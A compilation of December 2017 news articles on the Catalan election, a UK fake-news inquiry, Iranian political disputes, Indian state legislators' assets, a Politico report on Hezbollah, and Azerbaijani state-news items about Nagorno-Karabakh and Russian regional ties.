Part of that inquiry focuses on allegations of Russian meddling in several Western democracies.

We are investigating the role of Russian agencies in the dissemination of disinformation in the United States, in the British Brexit campaign and in other countries, said Damian Collins, the conservative MP who chairs the committee.

One of the topics is the Catalan referendum, and the role of agencies from Russia and Venezuela, he added. We have received evidence of cases in several countries, and also on the issue of Catalonia. What we aim to do is expose the way fake news are used as a weapon by foreign agencies in election processes.

What we aim to do is expose the way fake news are used as a weapon by foreign agencies in election processes

Damian Collins, committee chair

As Catalan elections are taking place this week, the committee wants to explore evidence of any eventual interference there, said Collins.

The second panel of experts scheduled to speak at the evidence session on Tuesday includes David Alandete, managing editor at EL PAIS; Francisco de Borja Lasheras, director of the Madrid office of the European Council on Foreign Relations think tank, and Mira Milosevich-Juaristi, associate professor of history of international relations at the IE Business School in Madrid.

The dissemination of fake news by Russia as a way to undermine electoral processes in the US and European Union has already been the target of several investigations. A detailed analysis of pro-Russian websites and social media users conducted by EL PAIS in recent months also turned up evidence of meddling in the Catalan independence push, a conflict with very high potential for inflicting damage on the EU.

The session on Tuesday will also include evidence from experts on artificial intelligence and algorithms and how these can be used both to spread fake news as well as to fight them.

Later sessions will address the role of technology companies, and ways of educating consumers of online information. A final report is expected around Easter, when parliament will hear the committees conclusions.

English version by Susana Urra.
Carme Forcadell, Raul Romeva, Gabriel Rufian, and Albano Dante Fachin at an ERC campain event in Sabadell, Catalonia. Javier Etxezarreta (EFE)

In the run-up to regional elections in Catalonia on Thursday, pro-independence parties have been forced to construct arguments on the run to explain why the secession process is still possible despite a failed independence push.

As a result of that illegal secession bid, some key figures were placed in pre-trial custody in a rebellion investigation, as is the case with former deputy premier Oriol Junqueras, while others are on the run in Belgium, where former premier Carles Puigdemont currently finds himself.

Former Catalan premier Carles Puigdemont has been in Brussels since the Catalan regional parliament passed a unilateral declaration of independence on October 27. OLIVIER HOSLET (EFE)

In an attempt to explain away this failure, the two largest pro-independence parties, the Catalan Republican Left (ERC) and Junts per Catalunya  the new formation of Carles Puigdemont  now claim that the unilateral declaration of independence passed in the Catalan regional parliament on October 27 was not put into effect because there were fears about a disproportionate reaction from the Spanish government of Prime Minister Mariano Rajoy in Madrid.

On Sunday [two days after the declaration of independence], we wanted to do a series of things, but there was a lot of uncertainty over the reaction of the state and we didnt want to put too much pressure on civil servants, said Puigdemont on Monday in an interview with Catalan radio station Rac1.

But this version of events, which all of the candidates have repeated during the campaign race, is contradicted by documents seized by Spains Civil Guard police force in Catalonia. Those documents show that several former high-ranking officials knew that the so-called structures of state for an independent Catalonia were not yet in place.

One example is the Tax Office. We are ready, said Puigdemont in September, in reference to Catalonias preparedness to take over management of taxation from the Spanish state. But in private conversations, the regions highest tax official, Lluis Salvado, said the office was very unprepared, noting that there was a lack of personnel and that the region didnt have a central bank or customs control infrastructure. Despite all this, Puigdemont said on Monday: The structures were all ready, but we decided to suspend the launch.

This is not the only falsehood or unrealistic promise that the independence parties have employed during the campaign. Here are some of the most common ones.

The release of prisoners. The prisoners [in pre-trial custody and facing charges of rebellion and sedition for their role in the recent Catalan independence push] will be released thanks to the December 21 vote, Puigdemont and other Junts per Catalunya and ERC leaders have said during the campaign. Four independence leaders remain in prison: ERC chief Oriol Junqueras, former Catalan interior minister Joaquim Forn, and the former leaders of the pro-independence civic associations Asamblea Nacional Catalana (ANC) and Omnium Cultural, Jordi Sanchez and Jordi Cuixart. The first two are in prison on the orders of Supreme Court Justice Pablo Llarena. The two activists are in custody at the order of High Court judge Carmen Lamela, and appeals lodged last week were unsuccessful.

The return of Puigdemont. Junts per Catalunya promises daily that if the pro-independence bloc wins the elections, Puigdemont will return from Belgium, where he fled with four former ministers of his government after the October 27 unilateral declaration of independence. If there is a majority [for the pro-independence parties] that places its trust in us, the premier, deputy premier and ministers who were unfairly dismissed will return. This has to be possible and there is no other alternative, Puigdemont has said. Puigdemont and his fellow minsters went to Belgium voluntarily to escape the Spanish justice system. They are currently being investigated by the Supreme Court for crimes including rebellion, sedition and misuse of public funds. The result of the December 21 election will not influence the courts decision as to whether to pursue these charges.

The government will have to lift emergency powers in Catalonia. The use of Article 155 of the Spanish Constitution to dismiss the Catalan government and call elections in the region was approved by the Spanish senate with the support of the ruling Popular Party (PP), the Socialists (PSOE) and Ciudadanos. Puigdemont has said that these parties might not accept the result of December 21 election, but he is asking voters to give a clear victory to the pro-independence bloc that would oblige the government to withdraw Article 155. But the withdrawal of emergency powers does not depend on election results.

Rajoy must negotiate. Puigdemont has not used the word unilateral. He has gone with the term dialogue instead. In his opinion, if the pro-independence bloc wins the election, the Spanish government in Madrid will have no option but to sit down and negotiate how to implement the Catalan republic. But Rajoy and his government have already said they are not going to negotiate the implementation of a Catalan republic.

Europe will listen to us. Puigdemont has said the European Union is waiting eagerly for the results of the December 21 election and that his strategy of fleeing to Brussels has been a success. Yesterday, ERC officials once again said that foreign affairs departments keep asking for information about the progress of the independence bid ahead of the election on Thursday.

English version by George Mills.
Madrid Mayor Manuela Carmena has fired her economy chief Carlos Sanchez Mato after the latter refused to back an adjustment plan for the financially embattled city, the accounts of which have been under central government oversight since early November.

After two years of failing to meet budget targets, the city of Madrid was informed at that date by Finance Minister Cristobal Montoro that all its transactions would be supervised on a weekly basis by ministry officials.

Sanchez Mato, of the United Left (IU), was removed from his post at the helm of the Madrid Economy and Tax Department after he announced that he would not be supporting a municipal adjustment plan to bring down spending imbalances in the Spanish capital.

Carlos Sanchez Mato in the Spanish Congress with United Left (IU) leader Eduardo Garzon to his right. Claudio Alvarez

I cannot have a tax chief who does not support his own proposal, said mayor Carmena, whose Ahora Madrid leftist coalition includes Podemos, IU and green parties.

Mr Sanchez Mato told me that even though he had introduced the proposal for the new economic plan himself, he did not want to see it approved, and he said that he would walk out during the vote, said Carmena. I cannot have the tax councilor not approving the proposal that he himself proposed to the Council.

His substitute, Jorge Garcia Castano of Podemos, said that the new plan will allow the city to implement many investment projects that had been on hold.

The new adjustment plan  the fourth in two years  foresees that Madrid will meet spending ceiling targets by 2018, and slash 564 million in spending as demanded by Minister Montoro. In exchange, the state will allow the city to overshoot its spending limit by 100 million this year, and it will also drop action against what it views as illegal financial maneuvering by the local government worth 274 million.

Besides Mato, several other local councilors had expressed their rejection of the adjustment plan. Three of them, Guillermo Zapata, Celia Mayer and Javier Barbero, threatened to walk out of the executive.

Madrid city accounts have been under central government oversight since early November after two years of failing to meet budget targets

The internal conflict over the citys finances is set against the backdrop of the 2019 municipal elections. Ahora Madrid has been heading a minority government since 2015, when it earned 20 seats in the local council  one fewer than the Popular Party (PP), but enough to get Carmena into the mayors office thanks to support from the Socialist Party (PSOE).

This time, Ahora Madrid had to resort to the PP for support for the adjustment plan. The PSOE and Ciudadanos rejected the measure, citing poor management of the crisis between Madrid and the Finance Ministry.

The mayor says that she wants to depoliticize Ahora Madrid with a view to the 2019 elections, and make it once again a neighborhood candidacy. If she fails to revive this spirit of 2015, Carmena may decline to run for re-election.

English version by Susana Urra.
EL PAIS used a complex statistical model to predict the outcome of the election.

With just two days to go before the Catalan regional elections, El PAIS has made a final forecast of the outcome that suggest a tight race between pro-independence parties and so-called constitutionalist parties, which are against independence.

The tightly contested election was called by Spanish Prime Minister Mariano Rajoy using emergency powers under Article 155 of the Spanish Constitution  a move that came in response to the passing of a unilateral declaration of independence in the regional parliament on October 27.

According to the EL PAIS model, constitutional party Ciudadanos and pro-independence party Republican Left of Catalonia (ERC) are set to tie, with Ciudadanos predicted to win the highest percentage of votes and ERC the largest number of seats. There are 135 seats in the Catalan parliament, meaning a party or bloc must win at least 68 to hold the majority.

The model used by EL PAIS combines the results from dozens of polls (published before Saturday, December 16) and thousands of simulations to calibrate the prediction with greater precision.

It would be difficult for the three constitutionalist parties to form a majority without extra support

Poll results have fluctuated in the past days, and last week they showed Ciudadanos in the lead. Ciudadanos gets around 23.3% of the vote, followed by ERC with 22.2%. Pro-independence party Junts per Catalunya (JxCat), led by ousted Catalan premier Carles Puigdemont, is in third place with 17.7% of the vote, followed by the anti-independence Socialist party (PSC) with 15.3% of the vote.

The Catalunya en ComuPodem coalition (CeC-Podem), formed by the party of Barcelona mayor Ada Colau and the Catalan branch of Spains anti-austerity party Podemos, is predicted to win 8% of the vote. The CeC-Podem is opposed to both the application of Article 155 and any universal declaration of independence in the region.

According to the model, the radical anti-austerity party CUP, which supports independence, will win 6.2% of the vote, followed by the conservative Popular Party (PP) with 5.5% of the vote.

Prediction of seat allocation

By averaging out the results, the EL PAIS model has calculated the number of seats each party is likely to win. To do this, the vote was simulated 10,000 times in each Catalan province: Barcelona, Tarragona, Lleida and Girona. The graph below outlines how many seats will be won by each party. According to the model, ERC will secure around 33 seats, followed by Ciudadanos with 31-32 seats, JxCat (27), PSC (20), CeC-Podem (9), CUP (8) and the PP (6).

Is a majority possible?

The driving question is which parties will win enough seats to govern and choose the next premier of Catalonia. What is the likelihood of different groups of parties winning the 68 seats needed to form a majority government? The following forecast cannot be offered by conventional polls but can be calculated with our electoral model.

The following graph represents the number of seats each group of parties could achieve, based on 10,000 simulations of the regional vote. The block to the right represents the likelihood of different groups of parties winning a majority of seats.

According to the results, the pro-independence parties (ERC, JxCat and CUP) have a 54% chance of winning the highest number of seats. But it is only just over a 50-50 chance, no more than a coin toss. In the remaining 46% of the simulations, Ciudadanos, PSC, PP and CeC-Podem together would have 68 seats and could theoretically form an agreement.

According to the model, it would be difficult for the three constitutionalist parties to form a majority without extra support from CeC-Podem. Ciudadanos, PSC and PP together are only tipped to win 58 seats. It is not impossible for the group to win the 68 seats needed for a majority government, but it is an outcome that only occurred three times in every 100 simulations.

Nor is there certainty about the number of seats that the combination of ERC, Cec-Podem and PSC could win. This kind of agreement would be politically complex and according to the model, these three parties only reached 68 seats in 14% of the simulations.

Another outcome is for ERC to govern with the support of JxCat and Cec-Podem. Together these three parties have 68 seats in 70% of the simulations. But the probability of this result falls to 48% if the pro-independence bloc (ERC, JxCat and CUP) do not reach a majority.

The fight for first place

In terms of the probability of each party coming in first place in votes, its clear there is still much uncertainty. In our model, Ciudadanos received the most votes in 55% of the simulations and ERC in 40%.

The ERC is the party most likely to win the highest number of seats, followed by Ciudadanos which comes out in top position in 34% of the simulations, and JxCat in 8%. The difference between the votes and seats is related to how the electoral system allocates seats. Seats for the provinces of Tarragona, Lleida and Girona can be earned with fewer votes than seats for Barcelona province. And pro-independence parties are stronger in those three provinces, which explains why pro-independence parties could win more seats but fewer votes.

It is important to carefully interpret the probabilities and not exaggerate the differences. The gap between ERC (which wins 58% of the time) and Ciudadanos (which wins in 34% of the simulations) may appear very wide, but the race is extremely tight. Think of a die. Ciudadanos wins if it lands on 1 or 2, ERC wins if it lands on 3,4 or 5 and if it falls on 6, either ERC or JxCat win (heads or tails).

Seats according to each province

The last graph shows the seats up for grabs, safe seats and those that are likely to be safe in each province. Tactical voting, where voters support a candidate who is not their preferred choice to prevent an unfavorable outcome, is not as frequent in regional elections as it is in general elections. But the model does suggest strategies for those who trust its predictions.

For example, a voter in Girona who is deciding between ERC and CUP has more options of winning a seat voting for the former. In Tarragona, there are seats belonging to PSC and Ciudadanos that are up for grabs, but none from PP or Cec-Podem. And in Lleida, if a voter is deciding between the three pro-independence parties, they should rule out ERC because they have fewer seats at risk.

English version by Melissa Kitson.
Responding to an ultimatum issued by Mahmud Ahmadinejad, the head of Irans judiciary, Ayatollah Sadeq Amoli Larijani, has ordered his staff to publish details about the legal cases filed against the former president.

Ahmadinejad issued a video message on December 17 in which he demanded that Larijani make public documents proving accusations against him and his allies. Ahmadinejad threatened that otherwise he would release incriminating evidence about the justice department within 48 hours.

A day later, the governments official news agency IRNA cited Larijanis order to judiciary officials, While avoiding quarrelsome disputes, we should respond to misgivings and clarify doubts up to the required necessary point.

Larijani insisted that by publishing fake news and information based on human rights excuses, some of the convicts are falsely presented as heroes, whereas what has so far been in the media are not the real charges they face.

However, the head of the judiciary did not elaborate further and stopped short of mentioning any specific legal cases.

Hours earlier, Prosecutor-General Mohammad Jafar Montazeri had described Ahmadinejads two-term presidency as a period of lawlessness and lies.

Tensions began during his presidency between Ahmadinejad and the Larijani brothers -- Sadeq, who controls the judiciary, and Ali, who is speaker of parliament.

In the video clip, the former president maintained that Larijani had described him and his allies with adjectives tantamount to criminal charges, including seditionist and devious.

In the Iranian conservatives vocabulary, the term seditionist refers to those who incited a long-lasting rebellion immediately after the controversial presidential election in 2009.

Based on the same vocabulary, the term devious is exclusively set aside for describing Ahmadinejad, his close allies, and whoever supports them.

Ahmadinejads friction with Larijani has significantly deepened since his former presidential deputy for executive affairs, Hamid Baghaei, was detained and prosecuted for financial corruption.

Baghaei, currently freed on a heavy bail, has also repeatedly lambasted Irans top judge for being a ruthless, corrupt dictator.

Meanwhile, Ahmadinejad and his companions recently wrote a letter to Supreme Leader Ayatollah Ali Khamenei asking him to step in and assign Ayatollah Mahmud Hashemi Shahroudi -- chairman of the Expediency Council, deputy speaker of the Assembly of Experts, and a former head of the judiciary -- to weigh the legal charges. They have insisted they are innocent and the charges filed against them fabricated.

Khamenei has yet to publicly address the issue.
By Anand Patel: Himachal voters have sent more MLAs with criminal cases and money power this time as compared to 2012. Association for Democratic Reforms, the NGO campaigning for reforms in electoral processes has come up with analysis of criminal cases and assets of the newly elected MLAs.

As per study, out of the 68 MLAs analysed, 22(32%) MLAs have declared criminal cases against them. Out of these 14 are from BJP while two from the Congress. There were only 14 (21%) MLAs with criminal cases in 2012 Assembly. While there were only five MLAs with serious criminal cases against them in 2012 but this time there are eight such lawmakers in the state assembly.

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Out of the 68 MLAs analysed, 52 (76%) are crorepatis while in 2012 elections only 44 (65%) MLAs were crorepatis. While all the 21 elected MLAs of Congress party are crorepatis, only 28 out of its strong 44 MLAs are crorepatis. But two out of top three MLAs with highest assets belong to the BJP.

Balbir Singh Verma elected from Chopal constituency tops the list with assets worth Rs 90 crore. Congress party's Vikramaditya Singh, son of former Chief Minister Virbhadra Singh who got elected from Shimla Rural seat has assets worth Rs 84 crore while Anil Sharma who hopped from Congress to the BJP just before elections has assets worth Rs 40 crore. Anil Sharma won from Mandi constituency and happens to be son of former Union Telecom Minister Sukh Ram who has been convicted in a disproportionate assets case.

The average assets of re-elected MLAs in 2012 was Rs 5.79 crore but this time it's risen to Rs 10.39 crore. The growth in average assets of re-elected MLAs between 2012 to 2016 is Rs 4.60 crores i.e. by 79%.

ALSO WATCH | Image of the day: BJP workers celebrate in Gujarat and Himachal after election results

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Iranian Prosecutor-General has accused Iranian officials and their children of being involved in smuggling merchandise and foreign hard currencies into and out of the country.

However, Mohammad Jafar Montazeri, speaking on December 18, stopped short of naming the culprits, but he alleged that President Hassan Rouhanis government has been soft on smuggling.

Nevertheless, his comments can be seen as a response to President Hassan Rouhani and his close allies, who have repeatedly accused their political opponents of smuggling.

A corrupt apparatus capable of smuggling contraband into Iran is also responsible for blocking the countrys path toward progress, Rouhani said in 2015.

The reason for the high volume of merchandise and currency smuggling in Iran is the countrys draconian rules, restrictions and high customs duties and tariffs.

Not only contraband, such as alcoholic drinks are forbidden to import and sell, but consumer products, from electronics to cloths and cars are subject to restrictive rules and customs duties.

Respecting a well-established tradition, Rouhani, his allies and his opponents avoid naming the officials, entities, organizations, and apparatuses they accuse of corruption.

Montazeri also said, How can we expect success in fighting smugglers when we see that a number of officials and their relatives, along with those who are expected to combat trafficking, are indeed themselves actively involved in smuggling?

Still without naming names, Montazari maintained, Some government officials do not really want us to have a serious fight against smugglers. Therefore, the Central Task Force to Combat the Smuggling of Merchandise and Currency (CTFCS) has been practically shut down.

In 2016, the overall volume of goods smuggled into Iran amounted to $15.5 billion, according to CTFCS spokesman Qassem Khorshidi, cited on the Tasnim News website. That number has now shrunk by almost $3 billion, he said.

Later, a senior member of Irans parliament accused Rouhanis government of being involved in smuggling. A number of governmental institutions are directly or indirectly involved in smuggling, Hassan Norouzi, spokesman for the parliaments Judiciary Committee, maintained on July 1.

In an interview with Fars News Agency (FNA), a website close to the Islamic Revolutionary Guard Corps (IRGC), Norouzi added that some ministers are involved in smuggling to run companies and factories. Norouzi also accused the daughter of a Rouhani cabinet minister of smuggling.

Norouzi was apparently referring to Rouhanis education minister, Fakhruddin Ahmadi Danesh-Ashtiani, whose daughter was accused of smuggling Italian contraband garments into Iran. She was later officially acquitted of all charges.

Moreover, Danesh-Ashtiani was dismissed and replaced by Mohammad Bathaei in Rouhanis new cabinet.

Rouhanis supporters have repeatedly fired back.

Rouhani has been forced to personally rebuff accusations against his administration and implicitly blame the IRGC.

The war of words between the rival political factions -- namely the government versus the close allies of Supreme Leader Ayatollah Ali Khamenei -- has been going on for years. Rouhanis predecessor, Mahmud Ahmadinejad, also accused the IRGC of smuggling, referring to them as our own smuggler brethren.

Rouhanis allies have insisted that the annual volume of smuggling in Iran ($25 billion during Ahmadinejads presidency) has been halved in the past four years.

Smuggling merchandise into Iran has recently become a symbol of corruption and one of the most serious economic problems confronting the country. Khamenei recently ordered police forces to set fire to all contraband goods they discover.
In a highly cited investigative report published by Politico, Barack Obamas administration is accused of undermining a long and painstaking law-enforcement investigation into Hezbollahs drug and weapons trafficking operations.

The U.S. led operation to track and uncover the Iranian allied Lebanese groups illicit activities was code-named Cassandra and started well before Obama took office.

But as Obama took over, Politico says, it was apparent that the new administrations policy was to bolster moderate elements within Hezbollah and improve relations with Iran.

As Hezbollah was becoming more a crime syndicate the investigation was uncovering a billion dollar a year profit making drug and weapons trafficking operation.

Eventually, with more information collected, investigators tried to arrest Hezbollah operatives but the administration began throwing roadblocks in their way; Politico cites dozens of participants.

David Asher, who was deeply involved in Project Cassandra told Politico, They serially ripped apart this entire effort that was very well supported and resourced, and it was done from the top down.

Asher also said that as the Iran nuclear negotiations progressed, the administration showed less willingness to pursue the case against Hezbollah and its operatives.

The Politico report mentions a case of a suspected Hezbollah operative and arms dealer, Ali Fayad, who was arrested in 2014 in the Czech Republic but the Obama administration failed to put serious pressure for his extradition for two years, even though he was indicted in U.S. courts on charges of planning the murders of U.S. government employees.

One former Obama administration official, Kevin Lewis told Politico, There has been a consistent pattern of actions taken against Hezbollah.

Other former officials also denied derailing actions against Hezbollah, although they conceded that some efforts were undoubtedly constrained by considerations related to the nuclear deal and relations with Iran.

Israeli politicians reacted harshly to the Politico report, saying that Israel had warned the U.S. not to link anti-terror efforts to the Iran nuclear deal. One politician said, Obama must return his Nobel Peace Prize, if the Politico story is correct, Jerusalem Post reports.
Baku, Azerbaijan, Dec. 19

By Nigar Guliyeva- Trend:

The Azerbaijani mission to the OSCE has criticized the double-standard approach by the EU delegation to the OSCE regarding the Nagorno-Karabakh conflict.

The Azerbaijani delegation announced about this when addressing the 1169th special meeting of the OSCE Permanent Council, in response to Mr. Johannes Hahn, the European Commissioner for European Neighborhood Policy and Enlargement Negotiations.

" Azerbaijan highly values relations with the European Union, which are based on mutual respect, equal partnership and common interests.

As it was recently stated by President Ilham Aliyev partnership with European Union is one of the main priorities of the foreign policy of Azerbaijan," the mission said.

Stressing that the EU and its member states are among country's major trade and investment partners, the mission pointed to untapped potential for cooperation in the areas of energy security, promotion of rule of law and economic connectivity.

"Recent visit of President Ilham Aliyev to Brussels in February 2017 has a special significance, since it opened a new chapter in EU-Azerbaijan relations with official launching of negotiations on a new bilateral agreement that will provide framework for wide-ranging cooperation. As it was stated by President Donald Tusk this new agreement will broaden the scope of our relations, taking into account the new global, political and economic interests we share and challenges we want to face together," the mission said.

The Azerbaijani side voiced regret that amid the background of intensified dialogue between the EU and Azerbaijan at different levels, its reflection in the OSCE is far from being satisfactory.

"It is regretful that the EU Delegation in Vienna shows very little interest in dialogue and cooperation with Azerbaijan and sees the OSCE as a platform for confrontation and accusations," the mission said, adding that invitation to the EU Delegation and EU Member States to engage in systematic dialogue on many issues of concern has been left unanswered.

"Not a single matter of serious concern to Azerbaijan, especially on security and conflict-related issues has been addressed by EU Delegation in spite of our repeated inquiries. The EU Delegation to the OSCE advocates for the rules-based international order and importance of respecting the sovereignty, territorial integrity and inviolability of internationally recognized borders of the conflict-affected OSCE participating States, except when it comes to the Armenia-Azerbaijan conflict," the mission said.

It stressed that the EU Delegation for unknown reasons shies away from reiterating the position of its senior officials expressed in Baku and Brussels on numerous occasions, including at the highest political level, in support of sovereignty, territorial integrity and independence of Azerbaijan.

"Such a double-standard approach by the EU Delegation to the OSCE remains a source of concern and by no means contributes to our common goal identified at the highest political level to enhance mutual understanding and cooperation," the mission said.
Baku, Azerbaijan, Dec.19

Trend:

Three American legislators decided to offend Azerbaijan, a US military ally and vital trans-shipment point for troops and material for US operations in Afghanistan, for a bit of casual sight-seeing in Armenia, said the article published by Eurasia Crossroads.

The article by Neil Richards reminds that early this past fall, three members of the US House of Representatives made a quick visit to Azerbaijans Nagorno-Karabakh region occupied by Armenia.

Nagorno-Karabakh is the breakaway province of Azerbaijan which has been stuck in limbo  a so-called frozen conflict  since just after the collapse of the Soviet Union. The three American lawmakers, Frank Pallone (D-New Jersey), David Valadao (R-CA), and Tulsi Gabbard (D-Hawaii), were on a fact-finding trip to Armenia when they decided to take a side trip to the occupied Khankendi. They have since been declared personae non grate by Azerbaijani authorities, said Richards.

The author reminds that officially, the US and other members of the United Nations recognize Nagorno-Karabakh to be part of Azerbaijan.

Over the years since the enclaves secession and a subsequent war with Baku, an array of international organizations, including NATO, the Parliamentary Assembly of the Council of Europe, and the UN itself have condemned the occupation. In April this year, that violence erupted again, despite a ceasefire negotiated under mediation by the OSCE Minsk Group, which includes the US, Russia and France. The lawmakers visit was described by an Azerbaijani foreign ministry spokesman as a provocation aimed at undermining the Minsk Group process, said Richards.

The author reminds that Pallone, Valadao and Gabbard are all members of the U.S. Congressional Armenian Caucus, a Capitol Hill group which gives voice to the wishes of the Armenian National Committee of America (ANCA).

The right of self-determination is a phrase taken from ANCAs own press materials. Employing comparisons with Americas own independence from Britain, ANCA spokesmen frequently call on US policy-makers to support Nagorno-Karabakhs occupation, the author said. Ironically, one of Americas most consequential leaders, President Abraham Lincoln, would have strongly disagreed as he himself led a bloody war against secessionist movement in the South. Similarly, European leaders and those in the post-Soviet space are increasingly concerned that the abuse of self-determination rhetoric leads to conflicts, displacement and loss of civilians lives.
Details added (first version posted on 10:50)

Baku, Azerbaijan, Dec. 19

By Anvar Mammadov  Trend:

The Multilateral Investment Guarantee Agency (MIGA, part of the World Bank Group) is looking for new projects to support economic development in Azerbaijan, Executive Vice President of the World Bank Group (WB) and MIGA Executive Director Keiko Honda, who is on her first visit to Baku, said in an interview with Trend.

Honda said that presently, the World Bank Group needs good profitable projects, which also correspond to the ecological and social standards of the bank.

"There are not many projects in the world that meet all these requirements, she said. One of the projects corresponding to these standards is Trans-Anatolian Natural Gas Pipeline Project TANAP, which is part of the Southern Gas Corridor.

"We have already delivered a loan guarantee for TANAP, she said. Therefore, we arrived in Azerbaijan to once again demonstrate our support for this project and find new opportunities for cooperation with Azerbaijan."

She said that MIGA offers two different products, one of which is to guarantee investments in the public projects, while other product  to provide guarantees for private projects.

"We are already using the first tool within TANAP project, Honda said. As for the second tool, we can guarantee investments of various private companies entering the Azerbaijani market.

MIGA provides guarantees against such risks as currency volatility and restrictions on its transfers, termination of the contract by the country, confiscation and some other risks," she said.

Touching on potential spheres for cooperation with Azerbaijan, Honda added that MIGA can provide guarantees in various sectors.

"We can work in various sectors such as energy and transport, Honda said. Moreover, we support the health sector in Turkey and agriculture in Africa. During the talks with the Azerbaijani government, we discussed cooperation in such spheres as energy and manufacturing industry.

Azerbaijan joined the WB Group in 1992. In different years MIGA provided Azercell, Baku Coca-Cola Bottlers, Kocbank Azerbaijan (now YapiKredi Bank Azerbaijan) and other companies with loan guarantees within the cooperation with Azerbaijan.

The agency has recently provided a loan guarantee for the construction of TANAP, which is part of the Southern Gas Corridor.

In 2017, MIGA supported private investments worth $4.7 billion in developing countries. Since 1998, MIGA has supported over 800 projects.
Baku, Azerbaijan, Dec. 19

Trend:

Azerbaijans defense minister, Colonel General Zakir Hasanov has met with Personal Representative of the OSCE Chairperson-in-Office Andrzej Kasprzyk, Azerbaijani Defense Ministry told Trend.

During the meeting, the sides exchanged views on the current situation at the contact line between the Armenian and Azerbaijani troops, the monitoring results, and the settlement of the Nagorno-Karabakh conflict.

The conflict between the two South Caucasus countries began in 1988 when Armenia made territorial claims against Azerbaijan. As a result of the ensuing war, in 1992 Armenian armed forces occupied 20 percent of Azerbaijan, including the Nagorno-Karabakh region and seven surrounding districts.

The 1994 ceasefire agreement was followed by peace negotiations. Armenia has not yet implemented four UN Security Council resolutions on withdrawal of its armed forces from the Nagorno-Karabakh and the surrounding districts.
Baku, Azerbaijan, Dec.19

By Leman Zeynalova  Trend:

There is no future for Armenia without the settlement of Armenia-Azerbaijan Nagorno-Karabakh conflict, Raoul Lowery Contreras, author of the book titled Murder in the Mountains: War Crime in Khojaly and the Nagorno-Karabakh Conflict, told Trend Dec.19.

The book by Contreras, who works closely with FOX News Latino and The Hill, and who is also an analyst at some leading US TV channels, is the first book about Khojaly genocide published and put up for sale in the US.

On February 25-26, 1992, the Armenian armed forces, together with the 366th infantry regiment of Soviet troops, stationed in Khankendi, committed an act of genocide against the population of the Azerbaijani town of Khojaly.

As many as 613 people, including 63 children, 106 women and 70 old people were killed as a result of the massacre. Eight families were totally exterminated, 130 children lost one parent and 25 children lost both. A total of 487 civilians became disabled as a result of the onslaught. Some 1,275 innocent residents were taken hostage, while the fate of 150 people still remains unknown.

I had no idea that there was going on a war in 1992, because in 1992 we were in the middle of the presidential campaign. We were doing normally what we are doing in America and didnt know whats going on in the world. I learned about the Nagorno-Karabakh conflict after reading an article about frozen conflicts published in New York Times, said the author.

Contreras noted that he got books that were written about the whole conflict and interviewed two women who were captured by Armenians during those years.

I built the book around the two stories of those two women. The first womans story was so emotional that I cried. Icould imagine what she went through, he added.

The author pointed out that a lot of children were killed in this massacre.

I do not approve in any way, shape or form the killing of innocent men, women or children in war time, peace time, any time, but particularly children, said Contreras.

Asked about which steps the US should take as one of the co-chairing countries of the OSCE Minsk Group to facilitate the resolution of the Nagorno-Karabakh conflict, he said that the US should put sanctions on Armenia.

It is in the US best interest that the conflict be resolved. It is in US best interest that Armenian armed forces withdraw from Azerbaijans occupied lands. Nagorno-Karabakh is an integral part of Azerbaijan and the world recognizes that. The US should put sanctions on Armenia to make sure that no single American dime goes to Armenia. That would cut them off. Armenia is very poor and they need every dime they can get from the US. That would force them I think, because they are so poor that they would have to do it. It is like carrot and stick method, said the author.

Contreras noted that currently, due to its occupation policy, Armenia has been isolated from many important energy projects.

Armenia would benefit greatly if they withdrew from Azerbaijans occupied lands. Armenia could join the projects which are now bypassing it and get fees as a transit country, he said, adding that there is no future for Armenia in the current situation.

The conflict between the two South Caucasus countries began in 1988 when Armenia made territorial claims against Azerbaijan. As a result of the ensuing war, in 1992 Armenian armed forces occupied 20 percent of Azerbaijan, including the Nagorno-Karabakh region and seven surrounding districts.

The 1994 ceasefire agreement was followed by peace negotiations. Armenia has not yet implemented four UN Security Council resolutions on withdrawal of its armed forces from the Nagorno-Karabakh and the surrounding districts.

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Follow the author on Twitter: @Lyaman_Zeyn
Baku, Azerbaijan, Dec. 19

Trend:

President of Azerbaijan Ilham Aliyev has received a delegation led by the Governor of Astrakhan Region of the Russian Federation, Alexander Zhilkin.

The sides hailed the successfully developing Azerbaijan-Russia bilateral relations in all areas, underlining that Azerbaijan's cooperation with regions of the Russian Federation, including Astrakhan, contributes to the strengthening of bilateral ties between the two countries.

Pointing to the construction of Azerbaijan Business Center in Astrakhan, Governor Alexander Zhilkin noted that the center will contribute to creation of a logistics junction in the region. Alexander Zhilkin thanked President Ilham Aliyev, the Heydar Aliyev Foundation, Azerbaijan's first vice president, President of the Foundation Mehriban Aliyeva, and Vice President of the Foundation Leyla Aliyeva for supporting the work done in Astrakhan.

The governor of Astrakhan region noted that on the day of commemoration of the Azerbaijani national leader Heydar Aliyev, he visited the school named after great leader, which underwent a major overhaul through support of the Heydar Aliyev Foundation, saying the school children sent greetings to President Ilham Aliyev.

President Ilham Aliyev underlined the role of Astrakhan region in expanding partnership, particularly trade, economic and regional cooperation between Azerbaijan and Russia, and thanked Governor Alexander Zhilkin in this regard.

The launch of pleasure boats along the Caspian Sea by Astrakhan region in 2018 and its contribution to the development of tourism among the Caspian basin countries was hailed at the meeting. The sides also discussed the expansion of transport and logistics relations between Astrakhan region and Azerbaijan, as well as joint measures to ensure export of Azerbaijani agricultural products to the Russian market through the region.

The sides underlined the importance of the groundbreaking ceremony held for Astrakhan Business Center in Baku Dec. 19 and exchanged views on prospects for cooperation in tourism, healthcare, agriculture, education and technology fields.

Then they posed for photographs.
Baku, Azerbaijan, Dec. 19

Trend:

A groundbreaking ceremony of the Astrakhan Business Center was held in Baku on December 19.

Azerbaijani Presidents Assistant for Public and Political Affairs Ali Hasanov, Governor of Astrakhan Region of the Russian Federation Alexander Zhilkin, other officials, businessmen and representatives of public attended the event.

Addressing the event, Ali Hasanov said that there are ancient trade, economic and humanitarian relations between Azerbaijan and Astrakhan Region.

The Astrakhan Business Center will give a new momentum to the development of cooperation between Russia and Azerbaijan, he noted.

Governor Alexander Zhilkin, for his part, said that this Business Center will serve to the strengthening of trade and economic relations between Azerbaijan and Russia, as well as between the two countries regions.

Emphasizing that the Azerbaijan Business Center is being built in Astrakhan, the governor added that this will contribute to the creation of a logistic network in the province and further expansion of ties between businessmen.

Alexander Zhilkin expressed gratitude to President of Azerbaijan Ilham Aliyev for his support to the implementation of a number of projects in Astrakhan, and noted that the trade turnover between Russia and Azerbaijan grew even more in 2017.

He expressed confidence that such dynamics will continue next year.

Then the foundation of the Astrakhan Business Center was laid.

The total area of the Astrakhan Business Center will be more than 5,000 square meters.

